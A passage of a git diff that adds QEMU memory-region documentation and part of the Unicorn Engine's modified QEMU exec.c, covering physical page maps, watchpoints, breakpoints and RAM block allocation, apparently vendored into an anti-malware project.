parts of the system. +In the example above, the priorities of D and E are unimportant because +they do not overlap each other. It is the relative priority of B and C +that causes D and E to appear on top of C: D and E's priorities are never +compared against the priority of C. + +Visibility +---------- +The memory core uses the following rules to select a memory region when the +guest accesses an address: + +- all direct subregions of the root region are matched against the address, in + descending priority order + - if the address lies outside the region offset/size, the subregion is + discarded + - if the subregion is a leaf (RAM or MMIO), the search terminates, returning + this leaf region + - if the subregion is a container, the same algorithm is used within the + subregion (after the address is adjusted by the subregion offset) + - if the subregion is an alias, the search is continued at the alias target + (after the address is adjusted by the subregion offset and alias offset) + - if a recursive search within a container or alias subregion does not + find a match (because of a "hole" in the container's coverage of its + address range), then if this is a container with its own MMIO or RAM + backing the search terminates, returning the container itself. Otherwise + we continue with the next subregion in priority order +- if none of the subregions match the address then the search terminates + with no match found + +Example memory map +------------------ + +system_memory: container@0-2^48-1 + | + +---- lomem: alias@0-0xdfffffff ---> #ram (0-0xdfffffff) + | + +---- himem: alias@0x100000000-0x11fffffff ---> #ram (0xe0000000-0xffffffff) + | + +---- vga-window: alias@0xa0000-0xbfffff ---> #pci (0xa0000-0xbffff) + | (prio 1) + | + +---- pci-hole: alias@0xe0000000-0xffffffff ---> #pci (0xe0000000-0xffffffff) + +pci (0-2^32-1) + | + +--- vga-area: container@0xa0000-0xbffff + | | + | +--- alias@0x00000-0x7fff ---> #vram (0x010000-0x017fff) + | | + | +--- alias@0x08000-0xffff ---> #vram (0x020000-0x027fff) + | + +---- vram: ram@0xe1000000-0xe1ffffff + | + +---- vga-mmio: mmio@0xe2000000-0xe200ffff + +ram: ram@0x00000000-0xffffffff + +This is a (simplified) PC memory map. The 4GB RAM block is mapped into the +system address space via two aliases: "lomem" is a 1:1 mapping of the first +3.5GB; "himem" maps the last 0.5GB at address 4GB. This leaves 0.5GB for the +so-called PCI hole, that allows a 32-bit PCI bus to exist in a system with +4GB of memory. + +The memory controller diverts addresses in the range 640K-768K to the PCI +address space. This is modelled using the "vga-window" alias, mapped at a +higher priority so it obscures the RAM at the same addresses. The vga window +can be removed by programming the memory controller; this is modelled by +removing the alias and exposing the RAM underneath. + +The pci address space is not a direct child of the system address space, since +we only want parts of it to be visible (we accomplish this using aliases). +It has two subregions: vga-area models the legacy vga window and is occupied +by two 32K memory banks pointing at two sections of the framebuffer. +In addition the vram is mapped as a BAR at address e1000000, and an additional +BAR containing MMIO registers is mapped after it. + +Note that if the guest maps a BAR outside the PCI hole, it would not be +visible as the pci-hole alias clips it to a 0.5GB range. + +Attributes +---------- + +Various region attributes (read-only, dirty logging, coalesced mmio, ioeventfd) +can be changed during the region lifecycle. They take effect once the region +is made visible (which can be immediately, later, or never). + +MMIO Operations +--------------- + +MMIO regions are provided with ->read() and ->write() callbacks; in addition +various constraints can be supplied to control how these callbacks are called: + + - .valid.min_access_size, .valid.max_access_size define the access sizes + (in bytes) which the device accepts; accesses outside this range will + have device and bus specific behaviour (ignored, or machine check) + - .valid.aligned specifies that the device only accepts naturally aligned + accesses. Unaligned accesses invoke device and bus specific behaviour. + - .impl.min_access_size, .impl.max_access_size define the access sizes + (in bytes) supported by the *implementation*; other access sizes will be + emulated using the ones available. For example a 4-byte write will be + emulated using four 1-byte writes, if .impl.max_access_size = 1. + - .impl.unaligned specifies that the *implementation* supports unaligned + accesses; if false, unaligned accesses will be emulated by two aligned + accesses. + - .old_mmio can be used to ease porting from code using + cpu_register_io_memory(). It should not be used in new code. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/exec.c b/ai_anti_malware/unicorn/unicorn-master/qemu/exec.c new file mode 100644 index 0000000..9e4fa5d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/exec.c @@ -0,0 +1,2347 @@ +/* + * Virtual page mapping + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/>. + */ +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "config.h" +#ifndef _WIN32 +#include <sys/types.h> +#include <sys/mman.h> +#endif + +#include "qemu-common.h" +#include "cpu.h" +#include "tcg.h" +#include "hw/hw.h" +#include "hw/qdev.h" +#include "qemu/osdep.h" +#include "sysemu/sysemu.h" +#include "qemu/timer.h" +#include "exec/memory.h" +#include "exec/address-spaces.h" +#if defined(CONFIG_USER_ONLY) +#include <qemu.h> +#endif +#include "exec/cpu-all.h" + +#include "exec/cputlb.h" +#include "translate-all.h" + +#include "exec/memory-internal.h" +#include "exec/ram_addr.h" + +#include "qemu/range.h" + +#include "uc_priv.h" + +//#define DEBUG_SUBPAGE + +#if !defined(CONFIG_USER_ONLY) + +/* RAM is pre-allocated and passed into qemu_ram_alloc_from_ptr */ +#define RAM_PREALLOC (1 << 0) + +/* RAM is mmap-ed with MAP_SHARED */ +#define RAM_SHARED (1 << 1) + +#endif + +#if !defined(CONFIG_USER_ONLY) +/* current CPU in the current thread. It is only valid inside + cpu_exec() */ +//DEFINE_TLS(CPUState *, current_cpu); + +typedef struct PhysPageEntry PhysPageEntry; + +struct PhysPageEntry { + /* How many bits skip to next level (in units of L2_SIZE). 0 for a leaf. */ + uint32_t skip : 6; + /* index into phys_sections (!skip) or phys_map_nodes (skip) */ + uint32_t ptr : 26; +}; + +#define PHYS_MAP_NODE_NIL (((uint32_t)~0) >> 6) + +/* Size of the L2 (and L3, etc) page tables. */ +#define ADDR_SPACE_BITS 64 + +#define P_L2_BITS 9 +#define P_L2_SIZE (1 << P_L2_BITS) + +#define P_L2_LEVELS (((ADDR_SPACE_BITS - TARGET_PAGE_BITS - 1) / P_L2_BITS) + 1) + +typedef PhysPageEntry Node[P_L2_SIZE]; + +typedef struct PhysPageMap { + unsigned sections_nb; + unsigned sections_nb_alloc; + unsigned nodes_nb; + unsigned nodes_nb_alloc; + Node *nodes; + MemoryRegionSection *sections; +} PhysPageMap; + +struct AddressSpaceDispatch { + /* This is a multi-level map on the physical address space. + * The bottom level has pointers to MemoryRegionSections. + */ + PhysPageEntry phys_map; + PhysPageMap map; + AddressSpace *as; +}; + +#define SUBPAGE_IDX(addr) ((addr) & ~TARGET_PAGE_MASK) +typedef struct subpage_t { + MemoryRegion iomem; + AddressSpace *as; + hwaddr base; + uint16_t sub_section[TARGET_PAGE_SIZE]; +} subpage_t; + +#define PHYS_SECTION_UNASSIGNED 0 +#define PHYS_SECTION_NOTDIRTY 1 +#define PHYS_SECTION_ROM 2 +#define PHYS_SECTION_WATCH 3 + +static void memory_map_init(struct uc_struct *uc); +static void tcg_commit(MemoryListener *listener); + +#endif + +#if !defined(CONFIG_USER_ONLY) + +static void phys_map_node_reserve(PhysPageMap *map, unsigned nodes) +{ + if (map->nodes_nb + nodes > map->nodes_nb_alloc) { + map->nodes_nb_alloc = MAX(map->nodes_nb_alloc * 2, 16); + map->nodes_nb_alloc = MAX(map->nodes_nb_alloc, map->nodes_nb + nodes); + map->nodes = g_renew(Node, map->nodes, map->nodes_nb_alloc); + } +} + +static uint32_t phys_map_node_alloc(PhysPageMap *map) +{ + unsigned i; + uint32_t ret; + + ret = map->nodes_nb++; + assert(ret != PHYS_MAP_NODE_NIL); + assert(ret != map->nodes_nb_alloc); + for (i = 0; i < P_L2_SIZE; ++i) { + map->nodes[ret][i].skip = 1; + map->nodes[ret][i].ptr = PHYS_MAP_NODE_NIL; + } + return ret; +} + +static void phys_page_set_level(PhysPageMap *map, PhysPageEntry *lp, + hwaddr *index, hwaddr *nb, uint16_t leaf, + int level) +{ + PhysPageEntry *p; + int i; + hwaddr step = (hwaddr)1 << (level * P_L2_BITS); + + if (lp->skip && lp->ptr == PHYS_MAP_NODE_NIL) { + lp->ptr = phys_map_node_alloc(map); + p = map->nodes[lp->ptr]; + if (level == 0) { + for (i = 0; i < P_L2_SIZE; i++) { + p[i].skip = 0; + p[i].ptr = PHYS_SECTION_UNASSIGNED; + } + } + } else { + p = map->nodes[lp->ptr]; + } + lp = &p[(*index >> (level * P_L2_BITS)) & (P_L2_SIZE - 1)]; + + while (*nb && lp < &p[P_L2_SIZE]) { + if ((*index & (step - 1)) == 0 && *nb >= step) { + lp->skip = 0; + lp->ptr = leaf; + *index += step; + *nb -= step; + } else { + phys_page_set_level(map, lp, index, nb, leaf, level - 1); + } + ++lp; + } +} + +static void phys_page_set(AddressSpaceDispatch *d, + hwaddr index, hwaddr nb, + uint16_t leaf) +{ + /* Wildly overreserve - it doesn't matter much. */ + phys_map_node_reserve(&d->map, 3 * P_L2_LEVELS); + + phys_page_set_level(&d->map, &d->phys_map, &index, &nb, leaf, P_L2_LEVELS - 1); +} + +/* Compact a non leaf page entry. Simply detect that the entry has a single child, + * and update our entry so we can skip it and go directly to the destination. + */ +static void phys_page_compact(PhysPageEntry *lp, Node *nodes, unsigned long *compacted) +{ + unsigned valid_ptr = P_L2_SIZE; + int valid = 0; + PhysPageEntry *p; + int i; + + if (lp->ptr == PHYS_MAP_NODE_NIL) { + return; + } + + p = nodes[lp->ptr]; + for (i = 0; i < P_L2_SIZE; i++) { + if (p[i].ptr == PHYS_MAP_NODE_NIL) { + continue; + } + + valid_ptr = i; + valid++; + if (p[i].skip) { + phys_page_compact(&p[i], nodes, compacted); + } + } + + /* We can only compress if there's only one child. */ + if (valid != 1) { + return; + } + + assert(valid_ptr < P_L2_SIZE); + + /* Don't compress if it won't fit in the # of bits we have. */ + if (lp->skip + p[valid_ptr].skip >= (1 << 3)) { + return; + } + + lp->ptr = p[valid_ptr].ptr; + if (!p[valid_ptr].skip) { + /* If our only child is a leaf, make this a leaf. */ + /* By design, we should have made this node a leaf to begin with so we + * should never reach here. + * But since it's so simple to handle this, let's do it just in case we + * change this rule. + */ + lp->skip = 0; + } else { + lp->skip += p[valid_ptr].skip; + } +} + +static void phys_page_compact_all(AddressSpaceDispatch *d, int nodes_nb) +{ + //DECLARE_BITMAP(compacted, nodes_nb); + // this isnt actually used + unsigned long* compacted = NULL; + + if (d->phys_map.skip) { + phys_page_compact(&d->phys_map, d->map.nodes, compacted); + } +} + +static MemoryRegionSection *phys_page_find(PhysPageEntry lp, hwaddr addr, + Node *nodes, MemoryRegionSection *sections) +{ + PhysPageEntry *p; + hwaddr index = addr >> TARGET_PAGE_BITS; + int i; + + for (i = P_L2_LEVELS; lp.skip && (i -= lp.skip) >= 0;) { + if (lp.ptr == PHYS_MAP_NODE_NIL) { + return §ions[PHYS_SECTION_UNASSIGNED]; + } + p = nodes[lp.ptr]; + lp = p[(index >> (i * P_L2_BITS)) & (P_L2_SIZE - 1)]; + } + + if (sections[lp.ptr].size.hi || + range_covers_byte(sections[lp.ptr].offset_within_address_space, + sections[lp.ptr].size.lo, addr)) { + return §ions[lp.ptr]; + } else { + return §ions[PHYS_SECTION_UNASSIGNED]; + } +} + +bool memory_region_is_unassigned(struct uc_struct* uc, MemoryRegion *mr) +{ + return mr != &uc->io_mem_rom && mr != &uc->io_mem_notdirty && + !mr->rom_device && mr != &uc->io_mem_watch; +} + +static MemoryRegionSection *address_space_lookup_region(AddressSpaceDispatch *d, + hwaddr addr, + bool resolve_subpage) +{ + MemoryRegionSection *section; + subpage_t *subpage; + + section = phys_page_find(d->phys_map, addr, d->map.nodes, d->map.sections); + if (resolve_subpage && section->mr->subpage) { + subpage = container_of(section->mr, subpage_t, iomem); + section = &d->map.sections[subpage->sub_section[SUBPAGE_IDX(addr)]]; + } + return section; +} + +static MemoryRegionSection * +address_space_translate_internal(AddressSpaceDispatch *d, hwaddr addr, hwaddr *xlat, + hwaddr *plen, bool resolve_subpage) +{ + MemoryRegionSection *section; + Int128 diff; + + section = address_space_lookup_region(d, addr, resolve_subpage); + /* Compute offset within MemoryRegionSection */ + addr -= section->offset_within_address_space; + + /* Compute offset within MemoryRegion */ + *xlat = addr + section->offset_within_region; + + diff = int128_sub(section->mr->size, int128_make64(addr)); + *plen = int128_get64(int128_min(diff, int128_make64(*plen))); + return section; +} + +static inline bool memory_access_is_direct(MemoryRegion *mr, bool is_write) +{ + if (memory_region_is_ram(mr)) { + return !(is_write && mr->readonly); + } + if (memory_region_is_romd(mr)) { + return !is_write; + } + + return false; +} + +MemoryRegion *address_space_translate(AddressSpace *as, hwaddr addr, + hwaddr *xlat, hwaddr *plen, + bool is_write) +{ + IOMMUTLBEntry iotlb; + MemoryRegionSection *section; + MemoryRegion *mr; + hwaddr len = *plen; + + for (;;) { + section = address_space_translate_internal(as->dispatch, addr, &addr, plen, true); + mr = section->mr; + if (mr->ops == NULL) + return NULL; + + if (!mr->iommu_ops) { + break; + } + + iotlb = mr->iommu_ops->translate(mr, addr, is_write); + addr = ((iotlb.translated_addr & ~iotlb.addr_mask) + | (addr & iotlb.addr_mask)); + len = MIN(len, (addr | iotlb.addr_mask) - addr + 1); + if (!(iotlb.perm & (1 << is_write))) { + mr = &as->uc->io_mem_unassigned; + break; + } + + as = iotlb.target_as; + } + + *plen = len; + *xlat = addr; + return mr; +} + +MemoryRegionSection * +address_space_translate_for_iotlb(AddressSpace *as, hwaddr addr, hwaddr *xlat, + hwaddr *plen) +{ + MemoryRegionSection *section; + section = address_space_translate_internal(as->dispatch, addr, xlat, plen, false); + + assert(!section->mr->iommu_ops); + return section; +} +#endif + +CPUState *qemu_get_cpu(struct uc_struct *uc, int index) +{ + CPUState *cpu = uc->cpu; + if (cpu->cpu_index == index) { + return cpu; + } + return NULL; +} + +#if !defined(CONFIG_USER_ONLY) +void tcg_cpu_address_space_init(CPUState *cpu, AddressSpace *as) +{ + /* We only support one address space per cpu at the moment. */ + assert(cpu->as == as); + + if (cpu->tcg_as_listener) { + memory_listener_unregister(as->uc, cpu->tcg_as_listener); + } else { + cpu->tcg_as_listener = g_new0(MemoryListener, 1); + } + cpu->tcg_as_listener->commit = tcg_commit; + memory_listener_register(as->uc, cpu->tcg_as_listener, as); +} +#endif + +void cpu_exec_init(CPUArchState *env, void *opaque) +{ + struct uc_struct *uc = opaque; + CPUState *cpu = ENV_GET_CPU(env); + + cpu->uc = uc; + env->uc = uc; + + cpu->cpu_index = 0; + cpu->numa_node = 0; + QTAILQ_INIT(&cpu->breakpoints); + QTAILQ_INIT(&cpu->watchpoints); + + cpu->as = &uc->as; + + // TODO: assert uc does not already have a cpu? + uc->cpu = cpu; +} + +#if defined(TARGET_HAS_ICE) +#if defined(CONFIG_USER_ONLY) +static void breakpoint_invalidate(CPUState *cpu, target_ulong pc) +{ + tb_invalidate_phys_page_range(pc, pc + 1, 0); +} +#else +static void breakpoint_invalidate(CPUState *cpu, target_ulong pc) +{ + hwaddr phys = cpu_get_phys_page_debug(cpu, pc); + if (phys != -1) { + tb_invalidate_phys_addr(cpu->as, + phys | (pc & ~TARGET_PAGE_MASK)); + } +} +#endif +#endif /* TARGET_HAS_ICE */ + +#if defined(CONFIG_USER_ONLY) +void cpu_watchpoint_remove_all(CPUState *cpu, int mask) + +{ +} + +int cpu_watchpoint_remove(CPUState *cpu, vaddr addr, vaddr len, + int flags) +{ + return -ENOSYS; +} + +void cpu_watchpoint_remove_by_ref(CPUState *cpu, CPUWatchpoint *watchpoint) +{ +} + +int cpu_watchpoint_insert(CPUState *cpu, vaddr addr, vaddr len, + int flags, CPUWatchpoint **watchpoint) +{ + return -ENOSYS; +} +#else +/* Add a watchpoint. */ +int cpu_watchpoint_insert(CPUState *cpu, vaddr addr, vaddr len, + int flags, CPUWatchpoint **watchpoint) +{ + CPUWatchpoint *wp; + + /* forbid ranges which are empty or run off the end of the address space */ + if (len == 0 || (addr + len - 1) < addr) { + return -EINVAL; + } + wp = g_malloc(sizeof(*wp)); + + wp->vaddr = addr; + wp->len = len; + wp->flags = flags; + + /* keep all GDB-injected watchpoints in front */ + if (flags & BP_GDB) { + QTAILQ_INSERT_HEAD(&cpu->watchpoints, wp, entry); + } else { + QTAILQ_INSERT_TAIL(&cpu->watchpoints, wp, entry); + } + + tlb_flush_page(cpu, addr); + + if (watchpoint) + *watchpoint = wp; + return 0; +} + +/* Remove a specific watchpoint. */ +int cpu_watchpoint_remove(CPUState *cpu, vaddr addr, vaddr len, + int flags) +{ + CPUWatchpoint *wp; + + QTAILQ_FOREACH(wp, &cpu->watchpoints, entry) { + if (addr == wp->vaddr && len == wp->len + && flags == (wp->flags & ~BP_WATCHPOINT_HIT)) { + cpu_watchpoint_remove_by_ref(cpu, wp); + return 0; + } + } + return -ENOENT; +} + +/* Remove a specific watchpoint by reference. */ +void cpu_watchpoint_remove_by_ref(CPUState *cpu, CPUWatchpoint *watchpoint) +{ + QTAILQ_REMOVE(&cpu->watchpoints, watchpoint, entry); + + tlb_flush_page(cpu, watchpoint->vaddr); + + g_free(watchpoint); +} + +/* Remove all matching watchpoints. */ +void cpu_watchpoint_remove_all(CPUState *cpu, int mask) +{ + CPUWatchpoint *wp, *next; + + QTAILQ_FOREACH_SAFE(wp, &cpu->watchpoints, entry, next) { + if (wp->flags & mask) { + cpu_watchpoint_remove_by_ref(cpu, wp); + } + } +} + +/* Return true if this watchpoint address matches the specified + * access (ie the address range covered by the watchpoint overlaps + * partially or completely with the address range covered by the + * access). + */ +static inline bool cpu_watchpoint_address_matches(CPUWatchpoint *wp, + vaddr addr, + vaddr len) +{ + /* We know the lengths are non-zero, but a little caution is + * required to avoid errors in the case where the range ends + * exactly at the top of the address space and so addr + len + * wraps round to zero. + */ + vaddr wpend = wp->vaddr + wp->len - 1; + vaddr addrend = addr + len - 1; + + return !(addr > wpend || wp->vaddr > addrend); +} + +#endif + +/* Add a breakpoint. */ +int cpu_breakpoint_insert(CPUState *cpu, vaddr pc, int flags, + CPUBreakpoint **breakpoint) +{ +#if defined(TARGET_HAS_ICE) + CPUBreakpoint *bp; + + bp = g_malloc(sizeof(*bp)); + + bp->pc = pc; + bp->flags = flags; + + /* keep all GDB-injected breakpoints in front */ + if (flags & BP_GDB) { + QTAILQ_INSERT_HEAD(&cpu->breakpoints, bp, entry); + } else { + QTAILQ_INSERT_TAIL(&cpu->breakpoints, bp, entry); + } + + breakpoint_invalidate(cpu, pc); + + if (breakpoint) { + *breakpoint = bp; + } + return 0; +#else + return -ENOSYS; +#endif +} + +/* Remove a specific breakpoint. */ +int cpu_breakpoint_remove(CPUState *cpu, vaddr pc, int flags) +{ +#if defined(TARGET_HAS_ICE) + CPUBreakpoint *bp; + + QTAILQ_FOREACH(bp, &cpu->breakpoints, entry) { + if (bp->pc == pc && bp->flags == flags) { + cpu_breakpoint_remove_by_ref(cpu, bp); + return 0; + } + } + return -ENOENT; +#else + return -ENOSYS; +#endif +} + +/* Remove a specific breakpoint by reference. */ +void cpu_breakpoint_remove_by_ref(CPUState *cpu, CPUBreakpoint *breakpoint) +{ +#if defined(TARGET_HAS_ICE) + QTAILQ_REMOVE(&cpu->breakpoints, breakpoint, entry); + + breakpoint_invalidate(cpu, breakpoint->pc); + + g_free(breakpoint); +#endif +} + +/* Remove all matching breakpoints. */ +void cpu_breakpoint_remove_all(CPUState *cpu, int mask) +{ +#if defined(TARGET_HAS_ICE) + CPUBreakpoint *bp, *next; + + QTAILQ_FOREACH_SAFE(bp, &cpu->breakpoints, entry, next) { + if (bp->flags & mask) { + cpu_breakpoint_remove_by_ref(cpu, bp); + } + } +#endif +} + +/* enable or disable single step mode. EXCP_DEBUG is returned by the + CPU loop after each instruction */ +void cpu_single_step(CPUState *cpu, int enabled) +{ +#if defined(TARGET_HAS_ICE) + if (cpu->singlestep_enabled != enabled) { + CPUArchState *env; + cpu->singlestep_enabled = enabled; + /* must flush all the translated code to avoid inconsistencies */ + /* XXX: only flush what is necessary */ + env = cpu->env_ptr; + tb_flush(env); + } +#endif +} + +void cpu_abort(CPUState *cpu, const char *fmt, ...) +{ + va_list ap; + va_list ap2; + + va_start(ap, fmt); + va_copy(ap2, ap); + fprintf(stderr, "qemu: fatal: "); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + cpu_dump_state(cpu, stderr, fprintf, CPU_DUMP_FPU | CPU_DUMP_CCOP); + if (qemu_log_enabled()) { + qemu_log("qemu: fatal: "); + qemu_log_vprintf(fmt, ap2); + qemu_log("\n"); + log_cpu_state(cpu, CPU_DUMP_FPU | CPU_DUMP_CCOP); + qemu_log_flush(); + qemu_log_close(); + } + va_end(ap2); + va_end(ap); +#if defined(CONFIG_USER_ONLY) + { + struct sigaction act; + sigfillset(&act.sa_mask); + act.sa_handler = SIG_DFL; + sigaction(SIGABRT, &act, NULL); + } +#endif + abort(); +} + +#if !defined(CONFIG_USER_ONLY) +static RAMBlock *qemu_get_ram_block(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block; + + /* The list is protected by the iothread lock here. */ + block = uc->ram_list.mru_block; + if (block && addr - block->offset < block->length) { + goto found; + } + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (addr - block->offset < block->length) { + goto found; + } + } + + fprintf(stderr, "Bad ram offset %" PRIx64 "\n", (uint64_t)addr); + abort(); + +found: + uc->ram_list.mru_block = block; + return block; +} + +static void tlb_reset_dirty_range_all(struct uc_struct* uc, + ram_addr_t start, ram_addr_t length) +{ + ram_addr_t start1; + RAMBlock *block; + ram_addr_t end; + + end = TARGET_PAGE_ALIGN(start + length); + start &= TARGET_PAGE_MASK; + + block = qemu_get_ram_block(uc, start); + assert(block == qemu_get_ram_block(uc, end - 1)); + start1 = (uintptr_t)block->host + (start - block->offset); + cpu_tlb_reset_dirty_all(uc, start1, length); +} + +/* Note: start and end must be within the same ram block. */ +void cpu_physical_memory_reset_dirty(struct uc_struct* uc, + ram_addr_t start, ram_addr_t length, unsigned client) +{ + if (length == 0) + return; + cpu_physical_memory_clear_dirty_range(uc, start, length, client); + + if (tcg_enabled(uc)) { + tlb_reset_dirty_range_all(uc, start, length); + } +} + +hwaddr memory_region_section_get_iotlb(CPUState *cpu, + MemoryRegionSection *section, + target_ulong vaddr, + hwaddr paddr, hwaddr xlat, + int prot, + target_ulong *address) +{ + hwaddr iotlb; + CPUWatchpoint *wp; + + if (memory_region_is_ram(section->mr)) { + /* Normal RAM. */ + iotlb = (memory_region_get_ram_addr(section->mr) & TARGET_PAGE_MASK) + + xlat; + if (!section->readonly) { + iotlb |= PHYS_SECTION_NOTDIRTY; + } else { + iotlb |= PHYS_SECTION_ROM; + } + } else { + iotlb = section - section->address_space->dispatch->map.sections; + iotlb += xlat; + } + + /* Make accesses to pages with watchpoints go via the + watchpoint trap routines. */ + QTAILQ_FOREACH(wp, &cpu->watchpoints, entry) { + if (cpu_watchpoint_address_matches(wp, vaddr, TARGET_PAGE_SIZE)) { + /* Avoid trapping reads of pages with a write breakpoint. */ + if ((prot & PAGE_WRITE) || (wp->flags & BP_MEM_READ)) { + iotlb = PHYS_SECTION_WATCH + paddr; + *address |= TLB_MMIO; + break; + } + } + } + + return iotlb; +} +#endif /* defined(CONFIG_USER_ONLY) */ + +#if !defined(CONFIG_USER_ONLY) + +static int subpage_register (subpage_t *mmio, uint32_t start, uint32_t end, + uint16_t section); +static subpage_t *subpage_init(AddressSpace *as, hwaddr base); + +static void *(*phys_mem_alloc)(size_t size, uint64_t *align) = +qemu_anon_ram_alloc; + +/* + * Set a custom physical guest memory alloator. + * Accelerators with unusual needs may need this. Hopefully, we can + * get rid of it eventually. + */ +void phys_mem_set_alloc(void *(*alloc)(size_t, uint64_t *align)) +{ + phys_mem_alloc = alloc; +} + +static uint16_t phys_section_add(PhysPageMap *map, + MemoryRegionSection *section) +{ + /* The physical section number is ORed with a page-aligned + * pointer to produce the iotlb entries. Thus it should + * never overflow into the page-aligned value. + */ + assert(map->sections_nb < TARGET_PAGE_SIZE); + + if (map->sections_nb == map->sections_nb_alloc) { + map->sections_nb_alloc = MAX(map->sections_nb_alloc * 2, 16); + map->sections = g_renew(MemoryRegionSection, map->sections, + map->sections_nb_alloc); + } + map->sections[map->sections_nb] = *section; + memory_region_ref(section->mr); + return map->sections_nb++; +} + +static void phys_section_destroy(MemoryRegion *mr) +{ + memory_region_unref(mr); + + if (mr->subpage) { + subpage_t *subpage = container_of(mr, subpage_t, iomem); + object_unref(mr->uc, OBJECT(&subpage->iomem)); + g_free(subpage); + } +} + +static void phys_sections_free(PhysPageMap *map) +{ + while (map->sections_nb > 0) { + MemoryRegionSection *section = &map->sections[--map->sections_nb]; + phys_section_destroy(section->mr); + } + g_free(map->sections); + g_free(map->nodes); +} + +static void register_subpage(struct uc_struct* uc, + AddressSpaceDispatch *d, MemoryRegionSection *section) +{ + subpage_t *subpage; + hwaddr base = section->offset_within_address_space + & TARGET_PAGE_MASK; + MemoryRegionSection *existing = phys_page_find(d->phys_map, base, + d->map.nodes, d->map.sections); + hwaddr start, end; + MemoryRegionSection subsection = MemoryRegionSection_make(NULL, NULL, 0, int128_make64(TARGET_PAGE_SIZE), base, false); + + assert(existing->mr->subpage || existing->mr == &uc->io_mem_unassigned); + + if (!(existing->mr->subpage)) { + subpage = subpage_init(d->as, base); + subsection.address_space = d->as; + subsection.mr = &subpage->iomem; + phys_page_set(d, base >> TARGET_PAGE_BITS, 1, + phys_section_add(&d->map, &subsection)); + } else { + subpage = container_of(existing->mr, subpage_t, iomem); + } + start = section->offset_within_address_space & ~TARGET_PAGE_MASK; + end = start + int128_get64(section->size) - 1; + subpage_register(subpage, start, end, + phys_section_add(&d->map, section)); + //g_free(subpage); +} + + +static void register_multipage(AddressSpaceDispatch *d, + MemoryRegionSection *section) +{ + hwaddr start_addr = section->offset_within_address_space; + uint16_t section_index = phys_section_add(&d->map, section); + uint64_t num_pages = int128_get64(int128_rshift(section->size, + TARGET_PAGE_BITS)); + + assert(num_pages); + phys_page_set(d, start_addr >> TARGET_PAGE_BITS, num_pages, section_index); +} + +static void mem_add(MemoryListener *listener, MemoryRegionSection *section) +{ + AddressSpace *as = container_of(listener, AddressSpace, dispatch_listener); + AddressSpaceDispatch *d = as->next_dispatch; + MemoryRegionSection now = *section, remain = *section; + Int128 page_size = int128_make64(TARGET_PAGE_SIZE); + + if (now.offset_within_address_space & ~TARGET_PAGE_MASK) { + uint64_t left = TARGET_PAGE_ALIGN(now.offset_within_address_space) + - now.offset_within_address_space; + + now.size = int128_min(int128_make64(left), now.size); + register_subpage(as->uc, d, &now); + } else { + now.size = int128_zero(); + } + while (int128_ne(remain.size, now.size)) { + remain.size = int128_sub(remain.size, now.size); + remain.offset_within_address_space += int128_get64(now.size); + remain.offset_within_region += int128_get64(now.size); + now = remain; + if (int128_lt(remain.size, page_size)) { + register_subpage(as->uc, d, &now); + } else if (remain.offset_within_address_space & ~TARGET_PAGE_MASK) { + now.size = page_size; + register_subpage(as->uc, d, &now); + } else { + now.size = int128_and(now.size, int128_neg(page_size)); + register_multipage(d, &now); + } + } +} + +#ifdef __linux__ + +#include <sys/vfs.h> + +#define HUGETLBFS_MAGIC 0x958458f6 + +#endif + +static ram_addr_t find_ram_offset(struct uc_struct *uc, ram_addr_t size) +{ + RAMBlock *block, *next_block; + ram_addr_t offset = RAM_ADDR_MAX, mingap = RAM_ADDR_MAX; + + assert(size != 0); /* it would hand out same offset multiple times */ + + if (QTAILQ_EMPTY(&uc->ram_list.blocks)) + return 0; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + ram_addr_t end, next = RAM_ADDR_MAX; + + end = block->offset + block->length; + + QTAILQ_FOREACH(next_block, &uc->ram_list.blocks, next) { + if (next_block->offset >= end) { + next = MIN(next, next_block->offset); + } + } + if (next - end >= size && next - end < mingap) { + offset = end; + mingap = next - end; + } + } + + if (offset == RAM_ADDR_MAX) { + fprintf(stderr, "Failed to find gap of requested size: %" PRIu64 "\n", + (uint64_t)size); + abort(); + } + + return offset; +} + +ram_addr_t last_ram_offset(struct uc_struct *uc) +{ + RAMBlock *block; + ram_addr_t last = 0; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) + last = MAX(last, block->offset + block->length); + + return last; +} + +static void qemu_ram_setup_dump(void *addr, ram_addr_t size) +{ +} + +static RAMBlock *find_ram_block(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (block->offset == addr) { + return block; + } + } + + return NULL; +} + +void qemu_ram_unset_idstr(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block = find_ram_block(uc, addr); + + if (block) { + memset(block->idstr, 0, sizeof(block->idstr)); + } +} + +static int memory_try_enable_merging(void *addr, size_t len) +{ + return 0; +} + +static ram_addr_t ram_block_add(struct uc_struct *uc, RAMBlock *new_block, Error **errp) +{ + RAMBlock *block; + ram_addr_t old_ram_size, new_ram_size; + + old_ram_size = last_ram_offset(uc) >> TARGET_PAGE_BITS; + + new_block->offset = find_ram_offset(uc, new_block->length); + + if (!new_block->host) { + new_block->host = phys_mem_alloc(new_block->length, + &new_block->mr->align); + if (!new_block->host) { + error_setg_errno(errp, errno, + "cannot set up guest memory '%s'", + memory_region_name(new_block->mr)); + return -1; + } + memory_try_enable_merging(new_block->host, new_block->length); + } + + /* Keep the list sorted from biggest to smallest block. */ + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (block->length < new_block->length) { + break; + } + } + if (block) { + QTAILQ_INSERT_BEFORE(block, new_block, next); + } else { + QTAILQ_INSERT_TAIL(&uc->ram_list.blocks, new_block, next); + } + uc->ram_list.mru_block = NULL; + + uc->ram_list.version++; + + new_ram_size = last_ram_offset(uc) >> 